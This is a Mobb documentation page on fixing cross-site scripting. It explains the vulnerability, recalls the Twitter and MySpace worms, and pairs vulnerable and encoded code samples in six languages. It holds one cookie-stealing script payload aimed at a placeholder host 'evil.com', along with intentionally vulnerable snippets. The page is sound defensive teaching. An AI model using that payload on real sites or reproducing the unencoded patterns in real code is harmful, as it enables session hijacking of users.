Mobb User Docs
Start NowBlogsWatch NowContact Us
  • What is Mobb?
  • What's New with Mobb
  • Supported Fixes
  • Getting Started
    • System Requirements
    • Onboarding Guide
      • Registering a Mobb account
      • Try Mobb now!
      • Running Mobb against your own code
      • Automate Mobb in a CI/CD pipeline
    • Working with the Fix Report
    • Mobb CLI Overview
      • Analyze Mode
      • Scan Mode
      • Add SCM Token Mode
      • Review Mode
      • Common Deployment Scenarios
  • Mobb Dashboard
  • Integrating SAST Findings
    • Checkmarx
      • Generating Checkmarx One JSON Report from CLI
    • Snyk
    • SonarQube
      • Generating a SonarQube SAST Report
    • Fortify
    • CodeQL
    • Semgrep/Opengrep
      • Generating a Semgrep SAST Report
      • Generating an Opengrep SAST Report
  • CI/CD Integrations
    • GitHub Actions
      • GitHub Fixer for CxOne
      • GitHub Fixer for Opengrep
    • GitLab Pipeline
    • Azure DevOps
    • Jenkins
    • CircleCI
    • Bamboo
    • Bitbucket Pipeline
  • Administration
    • User Management
    • Project Settings
    • Access Tokens
    • Organization-Level Fix Policy
    • Integrations Page
    • SAML Single Sign-On Flow
  • More Info
    • Mobb Broker
      • Mobb Broker Token Rotation
      • Secure storage of Mobb broker in AWS Secrets Manager
    • Providing Fix Feedback
    • Frequently Asked Questions (FAQ)
    • Data Protection and Retention
    • Service Level Agreement
  • Fixing Guides
    • SQL Injection
    • Path Traversal
    • Log Forging
    • XSS
    • XXE
    • Server Side Request Forgery
    • HttpOnly Cookie Vulnerabilities
    • Hardcoded Domain in HTML
    • Hardcoded Secrets
    • HTTP Response Splitting Attacks
    • Insecure Cookie Vulnerabilities
    • Insecure Randomness
    • Missing Check against Null
    • Missing Rate Limiting
    • Regex Missing Timeout
    • System Information Leakage
  • Mobb REST API Guide
Powered by GitBook
On this page
  • What is Cross-Site Scripting
  • One Simple Example
  • Real-world Occurrences of XSS
  • Fixing Cross-Site Scripting
  • Code Samples

Was this helpful?

  1. Fixing Guides

XSS

Learn how to prevent Cross-Site Scripting (XSS) attacks with examples and best practices. Protect your application from XSS vulnerabilities and security threats.

Tools recognizing this:

Opengrep Fortify Checkmarx SonarQube Snyk Semgrep CodeQL

What is Cross-Site Scripting

Cross-Site Scripting (XSS) is a critical security vulnerability that occurs when an application includes untrusted data in a web page without proper validation or encoding.

The malicious scripts can be executed in the victim's browser, allowing attackers to:

  • Steal session cookies and hijack user sessions

  • Capture keystrokes and steal sensitive data

  • Deface websites or modify content

  • Redirect users to malicious sites

  • Execute arbitrary JavaScript code in the user's context

One Simple Example

Consider this classic example of displaying user input:

// Fetch 'userName' parameter from the URL
var urlParams = new URLSearchParams(window.location.search);var userName = urlParams.get('userName');
// Post it back as HTML
document.getElementById("welcome").innerHTML = "Welcome " + userName;

An attacker could provide this input for the userName:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

The resulting HTML becomes:

<div id="welcome">Welcome <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

This allows the attacker to steal the user's session cookie and send it to the attacker's server. The script executes in the victim's browser context with full access to their cookies.

Real-world Occurrences of XSS

Twitter XSS Worm (2010)

In 2010, Twitter was hit by the "onMouseOver" XSS worm that affected thousands of users. When users hovered their mouse over infected tweets, it would automatically retweet the malicious content. • How it happened: The vulnerability allowed JavaScript execution in tweets through improper input sanitization. • Impact: Rapid spread of malicious tweets and potential compromise of user accounts.

MySpace Samy Worm (2005)

The Samy worm infected over one million MySpace profiles in less than 24 hours. • How it happened: A user named Samy Kamkar exploited an XSS vulnerability to automatically add himself as a friend to anyone who viewed his profile. • Impact: Massive service disruption and demonstration of how quickly XSS attacks can spread.

Fixing Cross-Site Scripting

The most efficient way to fix XSS issues in your code is to properly encode all untrusted data before including it in HTML, JavaScript, CSS, or URLs.

Context-aware encoding ensures that user input is treated as data rather than code, preventing script execution. Different contexts (HTML, JavaScript, CSS, URLs) require different encoding strategies to be effective.

Code Samples

Vulnerable Code

String userInput = request.getParameter("userInput");
out.println("<div>" + userInput + "</div>");

Fixed Code

String userInput = request.getParameter("userInput");
String encodedInput = StringEscapeUtils.escapeHtml4(userInput);
out.println("<div>" + encodedInput + "</div>");

Fix Explanation

The vulnerable code directly outputs user input into HTML without encoding. The fix uses proper HTML encoding through Apache Commons Text. Special characters are converted to their HTML entities. The encoded output prevents script execution while preserving the intended display.

Vulnerable Code

const userInput = urlParams.get('userInput');
element.innerHTML = userInput;

Fixed Code

const userInput = urlParams.get('userInput');
const encodedInput = DOMPurify.sanitize(userInput);
element.innerHTML = encodedInput;

Fix Explanation

The vulnerable code directly sets innerHTML with user input. The fix uses DOMPurify library to sanitize the input. Malicious HTML and JavaScript are stripped out. The sanitized output is safe to use with innerHTML.

Vulnerable Code

user_input = request.args.get('userInput')
return f"<div>{user_input}</div>"

Fixed Code

from markupsafe import escape
user_input = request.args.get('userInput')
return f"<div>{escape(user_input)}</div>"

Fix Explanation

The vulnerable code directly interpolates user input into HTML. The fix uses Markupsafe's escape function. Special characters are converted to HTML entities. The escaped output prevents script execution.

Vulnerable Code

string userInput = Request.QueryString["userInput"];
Response.Write("<div>" + userInput + "</div>");

Fixed Code

string userInput = Request.QueryString["userInput"];
string encodedInput = HttpUtility.HtmlEncode(userInput);
Response.Write("<div>" + encodedInput + "</div>");

Fix Explanation

The vulnerable code directly writes user input to the response. The fix uses HttpUtility.HtmlEncode for proper encoding. Special characters are converted to their HTML entities. The encoded output prevents script execution.

Vulnerable Code

$userInput = $_GET['userInput'];
echo "<div>$userInput</div>";

Fixed Code

$userInput = $_GET['userInput'];
$encodedInput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
echo "<div>$encodedInput</div>";

Fix Explanation

The vulnerable code directly echoes user input into HTML. The fix uses htmlspecialchars with proper encoding options. Special characters are converted to HTML entities. The encoded output prevents script execution.

Vulnerable Code

std::string userInput = request.getParameter("userInput");
response << "<div>" << userInput << "</div>";

Fixed Code

std::string userInput = request.getParameter("userInput");
std::string encodedInput = htmlEncode(userInput);
response << "<div>" << encodedInput << "</div>";

Fix Explanation

The vulnerable code directly outputs user input into HTML. The fix uses a custom HTML encoding function. Special characters are converted to HTML entities. The encoded output prevents script execution.

PreviousLog ForgingNextXXE

Last updated 2 months ago

Was this helpful?